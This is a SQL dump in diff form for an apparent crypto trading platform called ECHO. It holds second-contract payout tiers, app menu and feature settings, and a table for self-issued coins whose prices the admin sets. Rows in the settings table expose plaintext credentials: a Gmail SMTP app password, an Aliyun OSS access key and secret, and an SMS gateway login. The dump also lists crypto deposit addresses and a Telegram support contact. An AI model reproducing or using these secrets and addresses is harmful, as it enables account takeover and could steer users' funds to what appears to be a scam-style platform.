+INSERT INTO `t_second_period_config` VALUES (38, 45, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:21:47', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (39, 45, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:21:54', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (40, 45, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:22:00', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (41, 46, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:22:19', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (42, 46, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:22:26', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (43, 46, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:22:32', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (44, 46, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:22:37', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (45, 46, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:22:43', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (46, 47, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:23:11', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (47, 47, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:23:17', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (48, 47, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:23:23', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (49, 47, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:23:28', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (50, 47, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:23:34', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (51, 48, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:23:49', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (52, 48, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:23:56', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (53, 48, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:24:03', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (54, 48, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:24:26', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (55, 48, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:24:15', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (56, 49, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:24:52', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (57, 49, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:24:58', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (58, 49, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:25:08', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (59, 49, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:25:15', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (60, 49, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:25:21', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (61, 50, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:25:52', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (62, 50, 60, 0.1500, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:25:59', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (63, 50, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:26:04', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (64, 50, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:26:09', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (65, 50, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:26:15', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (66, 51, 30, 0.2000, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, NULL, NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (67, 51, 60, 0.5000, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, NULL, NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (68, 51, 300, 1.0000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-21 19:39:28', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (69, 51, 3600, 1.2000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, NULL, NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (70, 51, 86400, 1.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, NULL, NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (71, 52, 30, 0.2000, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, NULL, NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (72, 52, 60, 0.5000, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, NULL, NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (73, 52, 300, 1.0000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-21 19:39:28', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (74, 52, 3600, 1.2000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, NULL, NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (75, 52, 86400, 1.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, NULL, NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (76, 53, 30, 0.1200, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-24 04:26:29', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (77, 53, 60, 0.1300, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-24 04:26:38', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (78, 53, 300, 0.2000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-24 04:26:44', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (79, 53, 3600, 0.3000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-24 04:26:49', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (80, 53, 86400, 0.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-24 04:26:56', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (91, 57, 30, 0.2000, 1000.0000, 1.0000, NULL, NULL, '2023-08-21 19:37:20', NULL, '2023-08-22 17:20:32', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (92, 57, 60, 0.5000, 10000.0000, 100.0000, NULL, NULL, '2023-08-21 19:37:46', NULL, '2023-08-22 17:20:34', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (93, 57, 300, 1.0000, 50000.0000, 500.0000, NULL, NULL, '2023-08-21 19:38:12', NULL, '2023-08-22 17:20:36', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (94, 57, 3600, 1.2000, 100000.0000, 1000.0000, NULL, NULL, '2023-08-21 19:39:15', NULL, '2023-08-22 17:20:38', NULL, NULL, 1); +INSERT INTO `t_second_period_config` VALUES (95, 57, 86400, 1.5000, 500000.0000, 5000.0000, NULL, NULL, '2023-08-21 19:40:21', NULL, '2023-08-22 17:20:40', NULL, NULL, 1); + +-- ---------------------------- +-- Table structure for t_setting +-- ---------------------------- +DROP TABLE IF EXISTS `t_setting`; +CREATE TABLE `t_setting` ( + `id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT 'ID', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '创建者', + `create_time` datetime(6) NULL DEFAULT NULL COMMENT '创建时间', + `delete_flag` bit(1) NULL DEFAULT NULL COMMENT '删除标志 true/false 删除/未删除', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '更新者', + `update_time` datetime(6) NULL DEFAULT NULL COMMENT '更新时间', + `setting_value` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL COMMENT '配置值value', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_setting +-- ---------------------------- +INSERT INTO `t_setting` VALUES ('APP_SIDEBAR_SETTING', NULL, NULL, NULL, NULL, NULL, '[{\"jumpType\":\"path\",\"sort\":4,\"jumpUrl\":\"/fund-password\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0fd6855e63cd64c95b4c89f4cb6a284d2.png\",\"isOpen\":true,\"name\":\"设置资金密码\",\"key\":\"tardPwd\"},{\"jumpType\":\"path\",\"sort\":5,\"jumpUrl\":\"/change-password\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0d118927b6ed74c52a193a78599e8a8e7.png\",\"isOpen\":true,\"name\":\"修改登录密码\",\"key\":\"loginPwd\"},{\"jumpType\":\"path\",\"sort\":10,\"jumpUrl\":\"/language-selection\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.011503f682f124cbb956686410b0e0232.png\",\"isOpen\":true,\"name\":\"多语言\",\"key\":\"language\"},{\"jumpType\":\"path\",\"sort\":7,\"jumpUrl\":\"/term-service\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.00eaf1da69c104a0c90d227e023a7d36b.png\",\"isOpen\":true,\"name\":\"服务条款\",\"key\":\"termsService\"},{\"jumpType\":\"path\",\"sort\":1,\"jumpUrl\":\"/certification-primary\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0d71041fe7559460392fe79a4958ea2b2.png\",\"isOpen\":true,\"name\":\"初级认证\",\"key\":\"primary\"},{\"jumpType\":\"path\",\"sort\":2,\"jumpUrl\":\"/certification-advanced\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.001da44a5d2c54f97a99ccebce494fca5.png\",\"isOpen\":true,\"name\":\"实名认证\",\"key\":\"advanced\"},{\"jumpType\":\"path\",\"sort\":9,\"jumpUrl\":\"/help\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.09ce439a70d0d41f18591dc85ff5bd749.png\",\"isOpen\":true,\"name\":\"帮助中心\",\"key\":\"helper\"},{\"jumpType\":\"path\",\"sort\":6,\"jumpUrl\":\"/email-authentication\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0461d0efb526b450f88672583bc86ab7b.png\",\"isOpen\":true,\"name\":\"邮箱认证\",\"key\":\"certified\"},{\"jumpType\":\"path\",\"sort\":3,\"jumpUrl\":\"/bind-card\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.08a96a396d27b4cbc8117c0362236e783.png\",\"isOpen\":true,\"name\":\"绑定银行卡\",\"key\":\"bank\"},{\"jumpType\":\"link\",\"sort\":8,\"jumpUrl\":\"/\",\"logoUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0cc180682a4d24f3d91738a7f4b4d79db.png\",\"isOpen\":true,\"name\":\"白皮书\",\"key\":\"paper\"}]'); +INSERT INTO `t_setting` VALUES ('ASSET_COIN', 'admin', '2023-07-12 11:17:21.000000', b'1', 'admin', '2023-07-12 13:23:22.000000', '[{\"coinName\":\"USDT-TRC\",\"coin\":\"usdt\",\"coinAddress\":\"TADEwxamYyfF9QFhMJpuU1nsRurzdFmxif\",\"rechargeNum\":1000,\"rechargeMax\":10000000,\"rechargeMin\":1,\"change\":true},{\"coinName\":\"ETH\",\"coin\":\"eth\",\"coinAddress\":\"0x25800664aE7e7661E27f0B5D652ddD9166F27190\",\"rechargeNum\":100,\"rechargeMax\":100000000,\"rechargeMin\":0.001,\"change\":true},{\"coinName\":\"USDT-ERC\",\"coin\":\"usdt\",\"coinAddress\":\"0x25800664aE7e7661E27f0B5D652ddD9166F27190\",\"rechargeNum\":100,\"rechargeMax\":100000000,\"rechargeMin\":1},{\"coinName\":\"BTC\",\"coin\":\"btc\",\"coinAddress\":\"39mXNZRoDPUFjBJoK2M2PuuzYBWCv4o8cJ \",\"rechargeNum\":100,\"rechargeMax\":1000,\"rechargeMin\":0.001}]'); +INSERT INTO `t_setting` VALUES ('BOTTOM_MENU_SETTING', NULL, NULL, NULL, NULL, NULL, '[{\"name\":\"首页\",\"key\":\"home\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.067e44fab1ecf487fb575f464cc701802.png\",\"checkedImgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.034c612b520ad495fadbad2f6fecf74d8.png\",\"linkUrl\":\"/\",\"sort\":1,\"isOpen\":true},{\"name\":\"行情\",\"key\":\"quote\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.070e511ab15aa4491a8cfa2d46d89ed8b.png\",\"checkedImgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.021c9afc4513b4dd8979762bc961ed7ce.png\",\"linkUrl\":\"/quote\",\"sort\":2,\"isOpen\":true},{\"name\":\"交易\",\"key\":\"trade\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.097dfa6a7cd6b4b1b999b74ee70fce88a.png\",\"checkedImgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.00cd9b01498ea443191e06029afd51b90.png\",\"linkUrl\":\"/trade\",\"sort\":3,\"isOpen\":true},{\"name\":\"理财\",\"key\":\"financial\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0c5309a5ed7e44c50a891281665422b69.png\",\"checkedImgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0c27d3c24e1824b1bb607153f17d4bd73.png\",\"linkUrl\":\"/financial\",\"sort\":4,\"isOpen\":false},{\"name\":\"杠杆\",\"key\":\"trade_tab5\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.03f5db6cc259d4360bdba06a5ac291b64.png\",\"checkedImgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.09a0ffe3cee864875919687f79f73e867.png\",\"linkUrl\":\"/tradeU\",\"sort\":5,\"isOpen\":false},{\"name\":\"资产\",\"key\":\"assets\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0778f18d3ff3547018d19b9c1ec740d4a.png\",\"checkedImgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.021af48116678477fb9c61a4afc43eee2.png\",\"linkUrl\":\"/assets\",\"sort\":6,\"isOpen\":true,\"change\":true}]'); +INSERT INTO `t_setting` VALUES ('DEFI_INCOME_SETTING', NULL, NULL, NULL, NULL, NULL, '{\"totalOutput\":\"7895\",\"userBenefits\":\"27326.68\",\"participant\":\"27326\",\"validNode\":\"27326\"}'); +INSERT INTO `t_setting` VALUES ('DOWNLOAD_SETTING', NULL, NULL, NULL, NULL, NULL, '[{\"name\":\"安卓\",\"url\":\"baidu.com\",\"sort\":1,\"isOpen\":\"true\",\"change\":true}]'); +INSERT INTO `t_setting` VALUES ('EMAIL_SETTING', NULL, NULL, b'0', NULL, NULL, '{\"mailTemplate\":\"bindCodeEmail.ftl\",\"mailAppName\":\"ECHO\",\"mailUsername\":\"pipixia0528@gmail.com\",\"mailPassword\":\"gbpsjtgzdxplaevi\",\"mailHost\":\"smtp.gmail.com\",\"mailPort\":\"465\"}'); +INSERT INTO `t_setting` VALUES ('FINANCIAL_REBATE_SETTING', NULL, NULL, NULL, NULL, NULL, '{\"oneRatio\":\"1\",\"twoRatio\":\"2\",\"threeRatio\":\"3\",\"isOpen\":\"true\"}'); +INSERT INTO `t_setting` VALUES ('FINANCIAL_SETTLEMENT_SETTING', 'admin', '2023-07-21 11:04:31.000000', b'0', NULL, NULL, '{\"settlementType\":2}'); +INSERT INTO `t_setting` VALUES ('HOME_COIN_SETTING', NULL, NULL, NULL, NULL, NULL, '[{\"isOpen\":\"true\",\"coin\":\"btc\",\"sort\":\"1\"},{\"isOpen\":\"true\",\"coin\":\"eth\",\"sort\":\"2\"},{\"coin\":\"trx\",\"sort\":3,\"isOpen\":\"true\"}]'); +INSERT INTO `t_setting` VALUES ('LOAD_SETTING', NULL, NULL, b'0', NULL, NULL, '{\"overdueRate\":\"1\"}'); +INSERT INTO `t_setting` VALUES ('LOGIN_REGIS_SETTING', NULL, NULL, b'0', NULL, NULL, '{\"emailIsOpen\":true,\"phoneIsOpen\":true,\"ordinaryIsOpen\":true,\"addressIsOpen\":true,\"credits\":100}'); +INSERT INTO `t_setting` VALUES ('MARKET_URL', NULL, NULL, b'0', NULL, NULL, '{\"url\":false,\"adminCode\":true,\"h5Code\":true}'); +INSERT INTO `t_setting` VALUES ('MIDDLE_MENU_SETTING', NULL, NULL, NULL, NULL, NULL, '[{\"name\":\"DeFi挖矿\",\"key\":\"host_non-collateralized_mining\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0d2dcc84c36494678b47956abe16c2438.png\",\"linkUrl\":\"/defi\",\"sort\":1,\"isOpen\":true},{\"name\":\"质押挖矿\",\"key\":\"defi_host_lockup\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0c09b72b7a58046d7888286d570b17267.png\",\"linkUrl\":\"/pledge\",\"sort\":2,\"isOpen\":true},{\"name\":\"助理贷\",\"key\":\"fast_help_loan\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.02f22f85b43c84be0b8f26e1717402b0c.png\",\"linkUrl\":\"/loan\",\"sort\":3,\"isOpen\":true},{\"name\":\"闪兑\",\"key\":\"flash\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.084346b6510854f4690233072f56ac1e1.png\",\"linkUrl\":\"/swap\",\"sort\":4,\"isOpen\":true},{\"name\":\"下载中心\",\"key\":\"download_center\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.06b5507d34ff446689898b107e17a0236.png\",\"linkUrl\":\"/app-download?flag=home\",\"sort\":5,\"isOpen\":true,\"change\":true},{\"name\":\"推广中心\",\"key\":\"promotion_center\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0e1d2a1ca070842209daaed0935a7444e.png\",\"linkUrl\":\"/plug\",\"sort\":6,\"isOpen\":true},{\"name\":\"秒合约\",\"key\":\"trade_tab6\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.03f4cf21fd0204d90901fb274bcc148d9.png\",\"linkUrl\":\"/trade\",\"sort\":7,\"isOpen\":true},{\"name\":\"理财\",\"key\":\"financial\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0d0c698942bad4c02ac807de56bea46c3.png\",\"linkUrl\":\"/financial\",\"sort\":8,\"isOpen\":true},{\"name\":\"U本位\",\"key\":\"trade_tab5\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0c82a7b6d9d604768b6f40d484bc93f49.png\",\"linkUrl\":\"/tradeU\",\"sort\":9,\"isOpen\":false},{\"name\":\"币币交易\",\"key\":\"trade_tab3\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0e361119483654d25bfdad32e6e1a262d.png\",\"linkUrl\":\"/trade?flag=BB&show=onlyB\",\"sort\":10,\"isOpen\":false}]'); +INSERT INTO `t_setting` VALUES ('MING_SETTLEMENT_SETTING', NULL, NULL, NULL, NULL, NULL, '{\"settlementType\":2,\"settlementDay\":null}'); +INSERT INTO `t_setting` VALUES ('OSS_SETTING', 'admin', '2023-07-13 14:32:34.000000', b'1', 'admin', '2023-07-13 14:32:27.000000', '{\"endPoint\":\"oss-cn-hongkong.aliyuncs.com\",\"accessKeyId\":\"LTAI5tQGr3pBCNMXbGCkPET4\",\"accessKeySecret\":\"Ub9NsQVinQ1xzz91ehwpW2gSStsOI3\",\"bucketName\":\"echo-res\",\"picLocation\":\"echo2.0\"}'); +INSERT INTO `t_setting` VALUES ('PLATFORM_SETTING', NULL, NULL, NULL, NULL, NULL, '{\"timezone\":\"Asia/Kuching\",\"googleAuth\":false}'); +INSERT INTO `t_setting` VALUES ('PLAYING_SETTING', 'admin', '2023-11-18 23:58:36.000000', b'0', 'admin', '2023-11-18 23:58:46.000000', '[{\"name\":\"自选\",\"isOpen\":true,\"sort\":0},{\"name\":\"秒合约\",\"isOpen\":false,\"sort\":1},{\"name\":\"币币交易\",\"isOpen\":true,\"sort\":2},{\"name\":\"U本位\",\"isOpen\":false,\"sort\":3}]'); +INSERT INTO `t_setting` VALUES ('RECHARGE_REBATE_SETTING', NULL, NULL, NULL, NULL, NULL, '{\"ratio\":1,\"rebateMaxAmount\":10000,\"isOpen\":true}'); +INSERT INTO `t_setting` VALUES ('RECHARGE_SETTING', 'admin', '2023-07-12 11:17:21.000000', b'1', 'admin', '2023-07-12 13:23:22.000000', '{\r\n \"rechargeBtc\": \"0x8d6DeE13685299c487f461FaA83d4d96531c1b6F\",\r\n \"rechargeEth\": \"0xcac28898Ed1e3bdc7F6e34613a500963b1262c7A\",\r\n \"rechargeUsdtTrc\": \"THj4KyU7QEXCBKxMXcFjqDUWiJeh1coH5Z\",\r\n \"rechargeUsdtErc\": \"TFj3B2g747pGuhaTij2h1pbYkesbdRRRRR\",\r\n \"rechargeNum\": 10,\r\n \"rechargeMax\": 10000,\r\n \"rechargeMin\": 1\r\n}'); +INSERT INTO `t_setting` VALUES ('SMS_SETTING', NULL, NULL, b'0', NULL, NULL, '{\"name\":\"node\",\"mobileAccount\":\"I003662\",\"mobilePassword\":\"OEwXRLHZkB23\",\"mobileUrl\":\"https://api.nodesms.com/send/json\"}'); +INSERT INTO `t_setting` VALUES ('SUPPORT_STAFF_SETTING', NULL, NULL, NULL, NULL, NULL, '[{\"name\":\"TG\",\"url\":\"https://t.me/fanchen861\",\"imgUrl\":\"https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0bdb041f3a5d5433b8c814cbf3a0cb199.jpeg\"}]'); +INSERT INTO `t_setting` VALUES ('TAB_SETTING', 'admin', '2023-11-18 23:58:36.000000', b'0', 'admin', '2023-11-18 23:58:46.000000', '[{\"name\":\"平台资产\",\"isOpen\":true,\"sort\":0,\"keyStr\":\"asset_platform\"},{\"name\":\"理财资产\",\"isOpen\":false,\"sort\":1,\"keyStr\":\"asset_financ\"},{\"name\":\"合约资产\",\"isOpen\":false,\"sort\":2,\"keyStr\":\"asset_contarct\"}]'); +INSERT INTO `t_setting` VALUES ('USER_ADDRESS_COIN', 'admin', '2023-07-17 13:47:58.000000', b'0', NULL, NULL, '[{\"coin\":\"USDT\"},{\"coin\":\"BTC\"},{\"coin\":\"ETH\"}]'); +INSERT INTO `t_setting` VALUES ('VIP_LEVEL_SETTING', NULL, NULL, NULL, NULL, NULL, '{\"isOpen\":true,\"vip0Start\":\"\",\"vip0End\":null,\"vip1Start\":null,\"vip1End\":null,\"vip2Start\":null,\"vip2End\":null,\"vip3Start\":null,\"vip3End\":null,\"vip4Start\":null,\"vip4End\":null,\"vip5Start\":null,\"vip5End\":null,\"vip6Start\":null,\"vip6End\":null,\"vip7Start\":null,\"vip7End\":null,\"vip8Start\":null}'); +INSERT INTO `t_setting` VALUES ('WITHDRAWAL_CHANNEL_SETTING', 'admin', '2023-07-03 13:47:03.000000', b'0', NULL, NULL, '[{\"status\":\"1\",\"rechargeName\":\"USDT-ERC\",\"rechargeType\":\"usdt\",\"type\":\"0\",\"ratio\":0.1,\"dayWithdrawalNum\":10,\"freeNum\":3,\"withdrawalMax\":1000000,\"withdrawalMix\":1},{\"status\":\"1\",\"rechargeName\":\"USDT-TRC\",\"rechargeType\":\"usdt\",\"type\":\"0\",\"ratio\":0.1,\"dayWithdrawalNum\":10,\"freeNum\":3,\"withdrawalMax\":1000000,\"withdrawalMix\":1},{\"status\":\"1\",\"rechargeName\":\"ETH\",\"rechargeType\":\"eth\",\"type\":\"0\",\"ratio\":0.1,\"dayWithdrawalNum\":10,\"freeNum\":3,\"withdrawalMax\":1000000,\"withdrawalMix\":1},{\"status\":\"1\",\"rechargeName\":\"BTC\",\"rechargeType\":\"btc\",\"type\":\"0\",\"ratio\":0.1,\"dayWithdrawalNum\":10,\"freeNum\":3,\"withdrawalMax\":1000000,\"withdrawalMix\":1},{\"status\":\"0\",\"rechargeName\":\"BANK\",\"rechargeType\":\"jpy\",\"type\":\"1\",\"ratio\":0.1,\"dayWithdrawalNum\":10,\"freeNum\":3,\"withdrawalMax\":1000000,\"withdrawalMix\":1,\"index\":\"4\"}]'); +INSERT INTO `t_setting` VALUES ('WITHDRAWAL_SETTING', 'admin', '2023-07-17 13:47:58.000000', b'0', NULL, NULL, '{\"ratio\":\"0.112\",\"dayWithdrawalNum\":\"10\",\"freeNum\":\"3\",\"withdrawalMax\":\"100000\",\"withdrawalMix\":\"1\"}'); + +-- ---------------------------- +-- Table structure for t_spontaneous_coin +-- ---------------------------- +DROP TABLE IF EXISTS `t_spontaneous_coin`; +CREATE TABLE `t_spontaneous_coin` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键ID', + `coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `logo` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标', + `refer_coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '参考币种', + `refer_market` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '参考币种交易所', + `show_symbol` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '展示名称', + `price` decimal(20, 4) NULL DEFAULT NULL COMMENT '初始价格(单位USDT)', + `proportion` decimal(20, 4) NULL DEFAULT NULL COMMENT '价格百分比', + `create_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 28 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '自发币种配置' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_symbol_manage +-- ---------------------------- +DROP TABLE IF EXISTS `t_symbol_manage`; +CREATE TABLE `t_symbol_manage` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键id', + `symbol` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `min_charge_num` decimal(20, 8) NULL DEFAULT NULL COMMENT 